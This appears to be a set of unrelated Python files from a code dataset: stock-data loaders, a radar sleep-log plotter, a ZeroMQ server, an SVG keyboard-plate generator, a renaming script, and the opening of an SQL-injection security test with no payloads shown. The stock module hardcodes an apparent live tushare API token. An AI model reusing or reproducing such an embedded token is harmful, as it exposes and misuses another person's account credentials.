run_sgd()\n","sub_path":"wk4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"62918835","text":"# -*- coding: utf-8 -*-\nimport os\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nimport pandas as pd\nimport numpy as np\nimport tushare as ts\nts.set_token('29eaf3bcac23df4c6d025de157ab2d53beead3391fbe6e83b4ebcb6c')\npro = ts.pro_api()\n\nfrom matplotlib.pylab import date2num\n#mpl.rcParams['font.family'] = 'sans-serif'\n#mpl.rcParams['font.sans-serif'] = 'SimHei' # Chinese \n\nfrom mylab.stock.myfeature import getKdj\nfrom mylab.stock.myfeature import getMacd\n\n\n__all__ = [\"getIndexBasic\",\"getIndexDaily\", \"getIndexWeekly\",\"getIndexMonthly\",\"getIndex\",\n \"getStockBasic\",\"getStockDaily\",\"getStockWeekly\",\"getStockMonthly\",\"getStock\",\n \"getIndustryBasic\",\"getIndustryDaily\",\"getIndustryWeekly\",\"getIndustryMonthly\",\"getIndustry\",\n \"resetIndex\",\"readData\",\n \"mergeDailyWeeklyMonthly\",\"mergeWeeklyMonthly\",\"mergeStockIndex\",\n \"deleteSTKC\",\"deleteNew\",\n \"myMerge\",\n ]\n\ndef myMerge(df1,df2,on = [], how = \"left\" ):\n cols = [i for i in df2.columns.values if i in df1.columns.values] # in df1 and df2\n cols = [i for i in cols if i not in on ] # not in on\n df2 = df2.drop(cols, axis = 1 )\n df = pd.merge( df1, df2, on = on , how = how ) \n return df\n\ndef deleteSTKC(pool_df):\n pool_df[\"name1\"] = [i[0] for i in pool_df[\"name\"].values]\n pool_df[\"code1\"] = [i[0] for i in pool_df[\"ts_code\"].values]\n pool_df[\"code3\"] = [i[0:3] for i in pool_df[\"ts_code\"].values]\n pool_df = pool_df.loc[pool_df[\"name1\"] != \"*\", :]\n pool_df = pool_df.loc[pool_df[\"name1\"] != \"S\", :]\n pool_df = pool_df.loc[pool_df[\"code1\"] != \"3\", :]\n pool_df = pool_df.loc[pool_df[\"code3\"] != \"688\", :]\n pool_df = pool_df.drop([\"name1\",\"code1\",\"code3\"], axis = 1)\n pool_df = pool_df.reset_index(drop = True)\n return pool_df\n\ndef deleteNew(pool_df, list_data = \"20190101\"):\n pool_df = pool_df.loc[pool_df.list_date.values < list_data,:]\n pool_df = pool_df.reset_index(drop = True)\n return pool_df \n\ndef getStockBasic(LOCAL = True, noSTKC = True, list_data = \"20190101\"):\n if LOCAL:\n pool_df = pd.read_csv(\"./data/stock/stock_basic_info.csv\")\n pool_df[\"list_date\"] = pool_df[\"list_date\"].astype(\"str\")\n else:\n fields='ts_code,symbol,name,area,industry,list_date,market,list_status,delist_date,exchange'\n pool_df = pro.stock_basic(list_status='L', fields=fields)\n if noSTKC:\n pool_df = deleteSTKC(pool_df)\n if list_data:\n pool_df = deleteNew(pool_df, list_data )\n return pool_df\n\ndef getIndexBasic(LOCAL = True, market = \"SZSE\" ):\n if LOCAL:\n pool_df = pd.read_csv(\"./data/index/index_basic_info_\"+market+\".csv\")\n else:\n pool_df = pro.index_basic(market= market)\n return pool_df\n\ndef getIndexDaily(stock_code , start_date = \"20100101\", end_date = \"20200314\", LOCAL = True, market = \"SZSE\" ):\n dir_file = \"./data/index/\"+market+\"/daily/\"\n if LOCAL:\n daily_df = readData(dir_file, stock_code, start_date , end_date )\n else:\n daily_df = pro.index_daily(ts_code = stock_code,start_date = start_date, end_date = end_date )\n daily_df = resetIndex(daily_df)\n return daily_df\n\ndef getIndexWeekly(stock_code, start_date = \"20100101\", end_date = \"20200314\", LOCAL = True, market = \"SZSE\" ):\n dir_file = \"./data/index/\"+market+\"/weekly/\"\n if LOCAL:\n daily_df = readData(dir_file, stock_code, start_date , end_date )\n else:\n daily_df = pro.index_weekly(ts_code = stock_code,start_date = start_date, end_date = end_date )\n daily_df = resetIndex(daily_df)\n return daily_df\n\ndef getIndexMonthly(stock_code, start_date = \"20100101\", end_date = \"20200314\", LOCAL = True, market = \"SZSE\" ):\n dir_file = \"./data/index/\"+market+\"/monthly/\"\n if LOCAL:\n daily_df = readData(dir_file, stock_code, start_date , end_date )\n else:\n daily_df = pro.index_monthly(ts_code = stock_code,start_date = start_date, end_date = end_date )\n daily_df = resetIndex(daily_df)\n return daily_df\n\ndef getStockDaily(stock_code, start_date = \"20100101\", end_date = \"20200314\", LOCAL = True ):\n dir_file = \"./data/stock/daily/\"\n if LOCAL:\n daily_df = readData(dir_file, stock_code, start_date , end_date )\n else:\n daily_df = pro.daily(ts_code = stock_code,start_date = start_date, end_date = end_date )\n daily_df = resetIndex(daily_df)\n return daily_df\n\ndef getStockWeekly(stock_code, start_date = \"20100101\", end_date = \"20200314\", LOCAL = True ):\n dir_file = \"./data/stock/weekly/\"\n if LOCAL:\n daily_df = readData(dir_file, stock_code, start_date , end_date )\n else:\n daily_df = pro.daily(ts_code = stock_code,start_date = start_date, end_date = end_date )\n daily_df = resetIndex(daily_df)\n return daily_df\n\ndef getStockMonthly(stock_code, start_date = \"20100101\", end_date = \"20200314\", LOCAL = True ):\n dir_file = \"./data/stock/monthly/\"\n if LOCAL:\n daily_df = readData(dir_file, stock_code, start_date , end_date )\n else:\n daily_df = pro.daily(ts_code = stock_code,start_date = start_date, end_date = end_date )\n daily_df = resetIndex(daily_df)\n return daily_df\n\ndef getIndustryBasic( ):\n pool_df = pd.read_csv(\"./data/industry/all_industry_basic_info.csv\")\n return pool_df\n\ndef getIndustryDaily(stock_code , start_date = \"20100101\", end_date = \"20200314\" ):\n dir_file = \"./data/industry/daily/\"\n daily_df = readData(dir_file, stock_code, start_date , end_date )\n daily_df = resetIndex(daily_df)\n return daily_df\n\ndef getIndustryWeekly(stock_code, start_date = \"20100101\", end_date = \"20200314\" ):\n dir_file = \"./data/industry/weekly/\"\n daily_df = readData(dir_file, stock_code, start_date , end_date )\n daily_df = resetIndex(daily_df)\n return daily_df\n\ndef getIndustryMonthly(stock_code, start_date = \"20100101\", end_date = \"20200314\" ):\n dir_file = \"./data/industry/monthly/\"\n daily_df = readData(dir_file, stock_code, start_date , end_date )\n daily_df = resetIndex(daily_df)\n return daily_df\n\n\ndef resetIndex(daily_df):\n # reset ascending\n daily_df[\"trade_date_stamp\"] = daily_df[\"trade_date\"].copy()\n daily_df[\"trade_date_stamp\"] = pd.to_datetime(daily_df[\"trade_date_stamp\"]).map(date2num)\n daily_df.sort_values(by=\"trade_date_stamp\", ascending=True,inplace=True)\n daily_df.reset_index(drop=True,inplace=True)\n return daily_df\n\ndef readData(dir_file, stock_code, start_date = \"20100101\", end_date = \"20200314\" ):\n for file_dir , _ , files in os.walk(dir_file):\n for i,file_name in enumerate(files):\n if file_name[:9] == stock_code:\n daily_df = pd.read_csv(file_dir+file_name)\n daily_df[\"trade_date\"] = daily_df[\"trade_date\"].astype(\"str\")\n daily_df = daily_df.loc[daily_df[\"trade_date\"] >= start_date,:].reset_index(drop=True)\n daily_df = daily_df.loc[daily_df[\"trade_date\"] <= end_date,:].reset_index(drop=True)\n break\n return daily_df\n\ndef mergeDailyWeeklyMonthly(daily_df,weekly_df,monthly_df):\n weekly_df.drop([\"ts_code\", \"trade_date_stamp\"],axis = 1, inplace = True)\n cols = [i+'_weekly' for i in weekly_df.columns ]\n weekly_df.columns = cols\n weekly_df.rename(columns = {\"trade_date_weekly\":\"trade_date\"}, inplace = True)\n all_df = pd.merge(daily_df, weekly_df, how= \"left\" ,on= \"trade_date\")\n monthly_df.drop([\"ts_code\", \"trade_date_stamp\"],axis = 1, inplace = True)\n cols = [i+'_monthly' for i in monthly_df.columns ]\n monthly_df.columns = cols\n monthly_df.rename(columns = {\"trade_date_monthly\":\"trade_date\"}, inplace = True)\n all_df = pd.merge(all_df, monthly_df, how= \"left\" ,on= \"trade_date\")\n \n all_df.fillna(method= \"ffill\", inplace=True)\n return all_df\n\ndef mergeWeeklyMonthly(weekly_df,monthly_df):\n cols = [i+'_weekly' for i in weekly_df.columns ]\n weekly_df.columns = cols\n col_dic = {\"trade_date_weekly\":\"trade_date\",\"ts_code_weekly\":\"ts_code\",\"trade_date_stamp_weekly\":\"trade_date_stamp\"}\n weekly_df.rename(columns = col_dic, inplace = True)\n\n monthly_df.drop([\"ts_code\", \"trade_date_stamp\"],axis = 1, inplace = True)\n cols = [i+'_monthly' for i in monthly_df.columns ]\n monthly_df.columns = cols\n monthly_df.rename(columns = {\"trade_date_monthly\":\"trade_date\"}, inplace = True)\n \n all_df = pd.merge(weekly_df, monthly_df, how= \"outer\" ,on= \"trade_date\")\n \n all_df.fillna(method= \"ffill\", inplace=True)\n return all_df\n\ndef mergeStockIndex(stock_df, df):\n index_df = df.copy(deep = True)\n index_df.drop([\"ts_code\", \"trade_date_stamp\"],axis = 1, inplace = True)\n cols = [i+'_index' for i in index_df.columns.values ]\n index_df.columns = cols\n index_df.rename(columns = {\"trade_date_index\":\"trade_date\"}, inplace = True)\n all_df = pd.merge(left = stock_df, right = index_df, how= \"left\" ,on= \"trade_date\")\n all_df.fillna(method= \"ffill\", inplace=True)\n return all_df\n\ndef getStock(stock_code,start_date, end_date , LOCAL = True):\n daily_df = getStockDaily(stock_code,start_date, end_date , LOCAL = LOCAL)\n weekly_df = getStockWeekly(stock_code,start_date , end_date , LOCAL = LOCAL)\n monthly_df = getStockMonthly(stock_code,start_date , end_date , LOCAL = LOCAL)\n # KDJ and MACD\n daily_df = getKdj(daily_df)\n daily_df = getMacd(daily_df)\n weekly_df = getKdj(weekly_df)\n weekly_df = getMacd(weekly_df)\n monthly_df = getKdj(monthly_df)\n monthly_df = getMacd(monthly_df)\n # merge\n all_df = mergeDailyWeeklyMonthly(daily_df,weekly_df,monthly_df)\n return all_df\n\ndef getIndex(stock_code,start_date, end_date , LOCAL = True, merge_daily = True):\n if merge_daily:\n daily_df = getIndexDaily(stock_code,start_date, end_date , LOCAL = True)\n daily_df = getKdj(daily_df)\n daily_df = getMacd(daily_df)\n weekly_df = getIndexWeekly(stock_code,start_date , end_date , LOCAL = True)\n monthly_df = getIndexMonthly(stock_code,start_date , end_date , LOCAL = True)\n # KDJ\n \n weekly_df = getKdj(weekly_df)\n weekly_df = getMacd(weekly_df)\n monthly_df = getKdj(monthly_df)\n monthly_df = getMacd(monthly_df)\n # merge\n if merge_daily:\n all_df = mergeDailyWeeklyMonthly(daily_df,weekly_df,monthly_df)\n else:\n all_df = mergeWeeklyMonthly(weekly_df,monthly_df)\n \n return all_df\n\ndef getIndustry(stock_code,start_date = \"20100101\", end_date = \"20200314\" , LOCAL = True, merge_daily = True):\n if merge_daily:\n daily_df = getIndustryDaily(stock_code,start_date, end_date )\n daily_df = getKdj(daily_df)\n daily_df = getMacd(daily_df)\n weekly_df = getIndustryWeekly(stock_code,start_date , end_date )\n monthly_df = getIndustryMonthly(stock_code,start_date , end_date )\n # KDJ and MACD\n \n weekly_df = getKdj(weekly_df)\n weekly_df = getMacd(weekly_df)\n monthly_df = getKdj(monthly_df)\n monthly_df = getMacd(monthly_df)\n # merge\n if merge_daily:\n all_df = mergeDailyWeeklyMonthly(daily_df,weekly_df,monthly_df)\n else:\n all_df = mergeWeeklyMonthly(weekly_df,monthly_df)\n return all_df\n\n","sub_path":"mylab/stock/myread.py","file_name":"myread.py","file_ext":"py","file_size_in_byte":11138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"307458828","text":"#!/usr/bin/env python\n\"\"\" \\example x4m2x0_plot_sleep_csv_recording_file.py\n\nLatest examples is located at https://github.com/xethru/XeThru_ModuleConnector_Examples or https://dev.azure.com/xethru/XeThruApps/_git/XeThru_ModuleConnector_Examples.\n\n# Target:\n# X4M200/X4M210 sleep recording file.\n\n\n# Introduction:\n# X4M200/X4M210 support sleep message output, which contain respiration and hear rate(only X4M210 support) information. The message can be record as sleep recording file, for example xethru_sleep_20190124_141808.csv.\n# This script can plot sleep recording file to show the data for one periode, for example one night.\n\n# Command to run:\n$ python plot_vitalsigns_csv_recording_file.py --savefig --report xethru_sleep_xxx_xxx.csv\nThis generates a matplotlibplot which allows zooming and storing the plot as an image. The --savefig option stores the plot as a png image in the same folder as the csv file.\n\"\"\"\nfrom __future__ import division, print_function\nfrom matplotlib import pyplot as plt\nimport matplotlib.dates as mdate\nfrom numpy import loadtxt\nimport numpy as np\n\n\ndef get_log_header_nrow(fname, delimiter=';'):\n \"\"\"Expects data to start after the first line starting with a letter\n \"\"\"\n from string import ascii_letters\n startrow = 0\n comments = ''\n with open(fname, 'r') as f:\n while 1:\n line = f.readline().rstrip()\n if line == '':\n startrow = -1\n break\n startrow += 1\n if line[0] in ascii_letters:\n break\n comments += line+'\\n'\n\n return startrow, line.split(delimiter), comments\n\n\ndef read_log(fname):\n \"\"\" Reads a XeThru Respiration log file\n\n Returns: dict with the log file values\n \"\"\"\n import dateutil\n from matplotlib.dates import date2num\n from collections import OrderedDict\n\n delimiter = \";\"\n startrow, header, comments = get_log_header_nrow(fname, delimiter)\n\n def datestr2num(x): return date2num(\n dateutil.parser.parse(x, ignoretz=True))\n\n data = loadtxt(fname, delimiter=delimiter,\n skiprows=startrow, converters={0: datestr2num})\n\n res = OrderedDict()\n\n for ifield, name in enumerate(header):\n res[name] = data[:, ifield]\n res['comments'] = comments\n\n return res\n\n\ndef get_stateness(states, statearray):\n res = np.zeros(len(states))\n\n for i in range(len(res)):\n res[i] = sum(statearray == i)/len(statearray)\n\n return res\n\n\ndef report(logfile, savefig=False):\n \"\"\"!Read and plot a XeThru log file.\n\n @param logfile: path to csv file\n @param savefig: bool, saves a png image of the plotted result\n\n @return: Figure object\n \"\"\"\n\n states = ['Breathing',\n 'Movement',\n 'Movement, tracking',\n 'NoMovement',\n 'Initializing',\n 'Error',\n 'Unknown']\n\n # The following data is only valid in Breathing state:\n breathing_state_data = ['ObjectDistance',\n 'ObjectMovement', 'SignalQuality']\n\n sens = read_log(logfile)\n # Remove data not to be plotted\n timestamp = sens.pop('TimeStamp')\n framecounter = sens.pop('FrameCounter', None)\n comments = sens.pop('comments', None)\n\n # Number of data sets to plot\n M = len(sens.keys())\n\n # Summarize time in each state\n stateness = get_stateness(states, sens['State'])\n sstateness = ''\n for i in range(len(stateness)):\n sstateness += \"%s: %4.2f %% \\n\" % (states[i], stateness[i]*100)\n\n fig, axs = plt.subplots(M, 1, sharex=True, figsize=(20, 12))\n fig.suptitle(logfile)\n\n for ikey, key in enumerate(sens.keys()):\n ax = axs[ikey]\n ax.set_title(key)\n\n # Mask invalid data\n if key in breathing_state_data:\n data = np.ma.masked_where(sens['State'] > 2, sens[key])\n else:\n data = sens[key]\n if key == 'RPM':\n data = np.ma.masked_where(sens['State'] != 0, sens[key])\n\n ax.plot_date(timestamp, data, color='#4B0082', fmt='-')\n\n # Data specific plotting rules\n if key == 'State':\n locs = ax.set_yticks(range(len(states)))\n labels = ax.set_yticklabels(states)\n ax.text(0.9, 0, sstateness, transform=ax.transAxes)\n\n if key == 'SignalQuality':\n ax.set_ylabel(\"Signal Quality (0-10)\")\n ax.set_ylim(-0.1, 10.9)\n\n ax.grid()\n # ax.set_ylabel(key)\n\n ax.set_xlabel(\"Time\")\n\n # xtick format string\n date_fmt = '%H:%M:%S'\n\n # Use a DateFormatter to set the data to the correct format.\n date_formatter = mdate.DateFormatter(date_fmt)\n ax.xaxis.set_major_formatter(date_formatter)\n\n fig.autofmt_xdate()\n\n plt.tight_layout()\n plt.subplots_adjust(top=0.92)\n\n if savefig:\n fig.savefig(logfile+'.png')\n\n return fig\n\n\ndef report_all(folder, savefig=False):\n from glob import glob\n\n logfiles = glob(folder+'/*.csv')\n\n for logfile in logfiles:\n report(logfile, savefig=savefig)\n\n\ndef main():\n import argparse\n\n parser = argparse.ArgumentParser(\n description='XeThru Respiration log plotter')\n parser.add_argument('--report', type=str,\n help=\"Report measurement\")\n parser.add_argument('--report-all', type=str,\n help=\"Report all measurements\")\n parser.add_argument('--savefig', action=\"store_true\",\n help=\"Save the figure\")\n\n args = parser.parse_args()\n\n if args.report:\n report(args.report, savefig=args.savefig)\n plt.show()\n elif args.report_all:\n report_all(args.report_all, savefig=args.savefig)\n else:\n parser.parse_args(['-h'])\n\n\nif __name__ == \"__main__\":\n from matplotlib import pyplot as plt\n plt.ion()\n main()\n plt.show()\n #raw_input(\"[enter] to exit\")\n","sub_path":"utils/XeThru_utils/xeX4Thru_software/ModuleConnector/Latest_MC_examples/PYTHON/x4m2x0_plot_sleep_csv_recording_file.py","file_name":"x4m2x0_plot_sleep_csv_recording_file.py","file_ext":"py","file_size_in_byte":5865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"633872301","text":"import os\nimport signal\nimport functools\nimport argparse\nimport asyncio\nimport zmq\n\nfrom zmq.asyncio import Context\n\n\nclass Server:\n\n def __init__(self, stop_on_loop):\n self.stop_on_loop = stop_on_loop # for integration tests\n self.messages_queue = asyncio.Queue()\n self.context = Context()\n self.sleep_sec = 1\n self.loops = 0\n\n self.receiver_socket = self.context.socket(zmq.REP)\n self.receiver_socket.bind(\"tcp://127.0.0.1:8000\")\n\n self.pub_socket = self.context.socket(zmq.PUB)\n self.pub_socket.bind(\"tcp://*:8001\")\n\n async def receive_message(self):\n received_message = await self.receiver_socket.recv()\n self.messages_queue.put_nowait(received_message)\n await asyncio.sleep(self.sleep_sec)\n await self.receiver_socket.send_string(\"Echo reply from the server: %s\" % received_message)\n\n async def publish_message(self):\n message_to_publish = await self.messages_queue.get()\n await self.pub_socket.send(message_to_publish)\n self.messages_queue.task_done()\n await asyncio.sleep(self.sleep_sec)\n\n async def wait_until_all_messages_published(self):\n await self.messages_queue.join()\n\n async def run_one_loop(self):\n self.loops += 1\n await asyncio.gather(\n self.receive_message(),\n self.publish_message(),\n self.wait_until_all_messages_published(),\n return_exceptions=True\n )\n\n async def run(self):\n while True:\n await self.run_one_loop()\n print('running server loop #no: ', self.loops)\n if self.stop_on_loop and self.stop_on_loop == self.loops:\n self.receiver_socket.close()\n self.pub_socket.close()\n break\n\n\ndef main(loop, args):\n server = Server(args.stop_on_loop)\n loop.run_until_complete(server.run())\n\n\ndef signal_handler(sig, loop):\n loop.remove_signal_handler(sig)\n os.killpg(0, sig)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--stop-on-loop', default=None, type=int, required=False)\n args = parser.parse_args()\n\n loop = asyncio.get_event_loop()\n for signame in (signal.SIGINT, signal.SIGTERM):\n loop.add_signal_handler(signame, functools.partial(signal_handler, signame, loop))\n\n try:\n main(loop, args)\n except Exception as exc:\n raise exc\n finally:\n loop.close()\n if not args.stop_on_loop:\n os.killpg(0, signal.SIGTERM)\n","sub_path":"python/messaging_app/messaging_app/app/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"576985606","text":"from __future__ import division # I want everything to be floats\n\nfrom os.path import join, splitext, basename, exists\nfrom os import makedirs\nfrom functools import partial\nimport numpy as np\n\nfrom common import (keys_to_func_coords, grid_coords, coord_bounds,\n switch_coords, stabilizer_coords, subtract_min,\n MM_PER_INCH, pin_center_hole, pin_fixation_holes,\n pin_holes)\n\n# SVG Reference\n# http://www.w3.org/TR/SVG/paths.html#PathDataMovetoCommands\n\n\ndef inkscape_layer(layerID, text):\n # An inkscape SVG layer\n return \"\"\"\\n\\t\n\\t\\t\n{1}\n\\t\\t\n\\t\"\"\".format(layerID, text)\n\n\ndef svg_style(config):\n return '''\\t\\tpath\n\\t\\t{\n\\t\\t\\tfill: none;\n\\t\\t\\tstroke: rgb(0,0,0);\n\\t\\t\\tstroke-width: %f;\n\\t\\t\\tstroke-linejoin: miter;\n\\t\\t}\n\\t\\tpath.grid\n\\t\\t{\n\\t\\t\\tstroke-width: 0.1;\n\\t\\t\\tstroke-dasharray:0.5,0.5;\n\\t\\t}\n\\t\\tpath.circle\n\\t\\t{\n\\t\\t\\tstroke-linejoin: round;\n\\t\\t}''' % config['kerf']\n\n\ndef abs_move(coords):\n x, y = coords\n return \"M{0} {1}\".format(x, y)\n\n\ndef abs_line_to(coords):\n x, y = coords\n return \"L{0} {1}\".format(x, y)\n\n\ndef svg_path(coords, style=None):\n # A complete SVG path. coords is a list of absolute [x, y] coordinates.\n if coords.size > 3:\n absCoords = ' '.join([abs_move(coords[0])] + map(abs_line_to,\n coords[1:]))\n prefix = '\\t\\t\\t' % absCoords\n return ''\n\n\ndef display_svg(svg):\n from IPython.display import display, SVG\n display(SVG(data=svg))\n\n\ndef coords_to_paths(coords, style=None):\n return '\\n'.join(map(lambda c: '\\n'.join(map(lambda xy: svg_path(xy, style),\n c)), filter(None, coords)))\n\n\ndef svg_circle(coords, r, style=None):\n x, y = coords\n prefix = '\\t\\t\\t'.format(r, r * 2)])\n\n\ndef coords_to_circles(coords, r, style=None):\n return '\\n'.join(map(lambda c: '\\n'.join(map(lambda xy: svg_circle(xy, r,\n style),\n c[0])), filter(None, coords)))\n\n\ndef screw_hole_coords(config):\n return map(lambda c: [np.array([c])], config[\"screwLocations\"])\n\n\n# def screw_holes(coords, style=None):\n#\n# screws = config[\"screwLocations\"]\n# if len(screws) == 0:\n# return \"\"\n# kerf = config[\"kerf\"]\n# r = (config[\"screwDiameter\"] - kerf) / 2\n# return \"\\n\".join(svg_circle(s, r, style) for s in screws)\n\n\n# def expand_screw_holes(config):\n# screws = config[\"screwLocations\"]\n# r = config[\"screwDiameter\"] / 2\n# diagonal = r * np.sqrt(2) / 2\n#\n# def _expand(coords):\n# x, y = coords\n# return [np.array([[x, y - r],\n# [x - diagonal, y - diagonal],\n# [x - r, y],\n# [x - diagonal, y + diagonal],\n# [x, y + r],\n# [x + diagonal, y + diagonal],\n# [x + r, y],\n# [x + diagonal, y - diagonal],\n# ])]\n#\n# return map(_expand, screws)\n\n\ndef create_svg(config, keys):\n\n # Get the absolute grid coordinates\n gridCoords = keys_to_func_coords(config, keys, grid_coords,\n rotateCenter=False)\n # Create switch holes and stabilizer holes\n switchCoords = keys_to_func_coords(config, keys, switch_coords)\n stabilizerCoords = keys_to_func_coords(config, keys, stabilizer_coords)\n centerHoleCoords = keys_to_func_coords(config, keys, pin_center_hole)\n fixationHoleCoords = keys_to_func_coords(config, keys, pin_fixation_holes)\n pinHoleCoords = keys_to_func_coords(config, keys, pin_holes)\n\n # Get the bounds of the grid coordinates and subtract the min\n (minX, minY), (maxX, maxY) = coord_bounds(gridCoords)\n gridCoords = map(partial(subtract_min, minX, minY), gridCoords)\n switchCoords = map(partial(subtract_min, minX, minY), switchCoords)\n stabilizerCoords = map(partial(subtract_min, minX, minY), stabilizerCoords)\n centerHoleCoords = map(partial(subtract_min, minX, minY), centerHoleCoords)\n fixationHoleCoords = map(partial(subtract_min, minX, minY),\n fixationHoleCoords)\n pinHoleCoords = map(partial(subtract_min, minX, minY), pinHoleCoords)\n\n # The screw coordinates and plate vertices are relative to the above origin\n screwHoleCoords = screw_hole_coords(config)\n\n # TODO: Right here, make the outline of the plate as the concave hull of\n # the plate vertice coordinates. Figure out the convexity of the corners\n # based on the winding angle relative to the previous vertex and that the\n # vertices are supposed to be clockwise order.\n\n # TODO: Find the minimum X and Y and subtract them from\n # ALL of the coordinates again.\n\n # Convert the coordinates into svg paths. Each set is a list of a list of\n # shapes, each with an array of x,y coordinates. An object in the list can\n # have multiple shapes and each shape can have a different number of (x,y)\n # coordinates.\n\n # The plate holes (switch + stabs + screws)\n plate = ''\n plate += coords_to_paths(switchCoords) + '\\n'\n plate += coords_to_paths(stabilizerCoords) + '\\n'\n screwRadius = (config[\"screwDiameter\"] - config[\"kerf\"]) / 2\n plate += coords_to_circles(screwHoleCoords, screwRadius, 'circle') + '\\n'\n plate = inkscape_layer('Plate', plate)\n\n # The dashed u-grid if shown\n grid = ''\n if config['showGrid']:\n grid = coords_to_paths(gridCoords, \"grid\") + '\\n'\n grid = inkscape_layer('Grid', grid)\n\n # The switch PCB holes if shown\n pins = ''\n if config['showPins']:\n pins += coords_to_circles(centerHoleCoords, (0.157 * MM_PER_INCH) / 2,\n 'circle') + '\\n'\n pins += coords_to_circles(fixationHoleCoords, (0.067 * MM_PER_INCH) / 2,\n 'circle') + '\\n'\n pins += coords_to_circles(pinHoleCoords, (0.059 * MM_PER_INCH) / 2,\n 'circle') + '\\n'\n pins = inkscape_layer('Pins', pins)\n\n # Convert to SVG and return\n width = maxX - minX\n height = maxY - minY\n return open('svg.template', 'r').read().format(width, height,\n svg_style(config),\n plate + grid + pins)\n\n\ndef write_svg(filename, config, svg):\n \"\"\" Write an SVG to a file. \"\"\"\n # Create the directory if it doesn't exist\n outputDir = config['outputDir']\n if not exists(outputDir):\n makedirs(outputDir)\n # Write the SVG\n svgFilename = join(outputDir,\n splitext(basename(filename))[0] + '.svg')\n open(svgFilename, 'wt').write(svg)\n","sub_path":"plate_maker/_rewrite/svg.py","file_name":"svg.py","file_ext":"py","file_size_in_byte":7298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"339631474","text":"# this module is a helper to rename the data from the dataset, so YOLO can work with it.\r\n\r\nimport os,re\r\n\r\ndata_dir = 'data_eu_only/'\r\n\r\nfilelist = os.listdir(data_dir)\r\n\r\nresult = [[e for e in re.split(\"[^0-9]\", filename) if e != ''] for filename in filelist]\r\nresult = result[1:]\r\nresult = [int(e[0]) for e in result if e != '']\r\n\r\nif len(result) == 0: maxcount = 0\r\nelse: maxcount = max(result)\r\n\r\nprint(\"Last element in the folder data/ has number \" + str(maxcount) + \".\\nIs that correct? (y/n)\")\r\nval = input(\"> \")\r\n\r\nif val == \"y\":\r\n pass\r\nelif val == \"n\":\r\n print(\"What number is it instead? \")\r\n maxcount = int(input(\"> \"))\r\n\r\nprint(\"Copy the new data into the folder now. Once coping is finished hit Enter.\")\r\ninput(\"> \")\r\n\r\n# start renaming\r\nnewfilelist = os.listdir(data_dir)\r\n\r\nto_rename = [e for e in newfilelist if e not in filelist]\r\nto_rename = [e for e in to_rename if \".png\" in e]\r\n\r\nif maxcount != 0:\r\n maxcount += 1\r\nfor filename in to_rename:\r\n maxcount += 1\r\n helper = filename.split(\".\")\r\n fname = helper[0]\r\n fileending = helper[-1]\r\n #rename the png file\r\n os.rename(data_dir + fname + \".png\", data_dir + \"Cars\" + str(maxcount) + \".png\")\r\n print(fname + \".png -> \" + \"Cars\" + str(maxcount) + \".png\")\r\n #rename the corresponding xml file\r\n os.rename(data_dir + fname + \".xml\", data_dir + \"Cars\" + str(maxcount) + \".xml\")\r\n print(fname + \".xml -> \" + \"Cars\" + str(maxcount) + \".xml\")\r\n\r\n","sub_path":"rename_data.py","file_name":"rename_data.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"483921115","text":"# coding= utf-8\n\n# Copyright (c) 2014 Rackspace, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport uuid\nimport ddt\nfrom nose.plugins import attrib\nfrom tests.api import base\nfrom tests.api import providers\n\n\n@ddt.ddt\nclass TestSecuritySQLInjCreateService(providers.TestProviderBase):\n\n \"\"\"Security Tests for SQL Injection vulnerabilities\n for creating Service.\"\"\"\n\n def setUp(self):\n \"\"\"\n Setup for the tests\n \"\"\"\n super(TestSecuritySQLInjCreateService, self).setUp()\n self.domain_list = [{\"domain\": \"mywebsite.com\"}]\n self.origin_list = [{\"origin\": \"mywebsite1.com\",\n \"port\": 443,\n \"ssl\": False}]\n self.caching_list = [{\"name\": \"default\", \"ttl\": 3600},\n {\"name\": \"home\",\n \"ttl\": 1200,\n \"rules\": [{\"name\": \"index\",\n \"request_url\": \"/index.htm\"}]}]\n self.service_name = str(uuid.uuid1())\n self.flavor_id = self.test_config.default_flavor\n\n if self.test_config.generate_flavors:\n # create the flavor\n self.flavor_id = str(uuid.uuid1())\n self.client.create_flavor(flavor_id=self.flavor_id,\n provider_list=[{\n \"provider\": \"fastly\",\n \"links\": [{\"href\": \"www.fastly.com\",\n \"rel\": \"provider_url\"}]}])\n\n def reset_defaults(self):\n \"\"\"\n Reset domain_list, origin_list, caching_list, service_name\n and flavor_id to its default value.\n \"\"\"\n self.domain_list = [{\"domain\": \"mywebsite.com\"}]\n self.origin_list = [{\"origin\": \"mywebsite1.com\",\n \"port\": 443,\n \"ssl\": False}]\n self.caching_list = [{\"name\": \"default\", \"ttl\": 3600},\n {\"name\": \"home\",\n \"ttl\": 1200,\n \"rules\": [{\"name\": \"index\",\n \"request_url\": \"/index.htm\"}]}]\n self.service_name = str(uuid.uuid1())\n self.flavor_id = self.test_config.default_flavor\n\n def check_one_request(self):\n \"\"\"\n Check the response of one request to see whether the application\n is vulnerable to sql injection.\n \"\"\"\n resp = self.client.create_service(service_name=self.service_name,\n domain_list=self.domain_list,\n origin_list=self.origin_list,\n caching_list=self.caching_list,\n flavor_id=self.flavor_id)\n if 'location' in resp.headers:\n self.service_url = resp.headers['location']\n else:\n self.service_url = ''\n\n # to do: change this to something reasonable once the environment is stable\n # see Flavor SQL Inj script\n #self.assertEqual(resp.status_code, 202)\n self.assertTrue(resp.status_code > 200)\n # 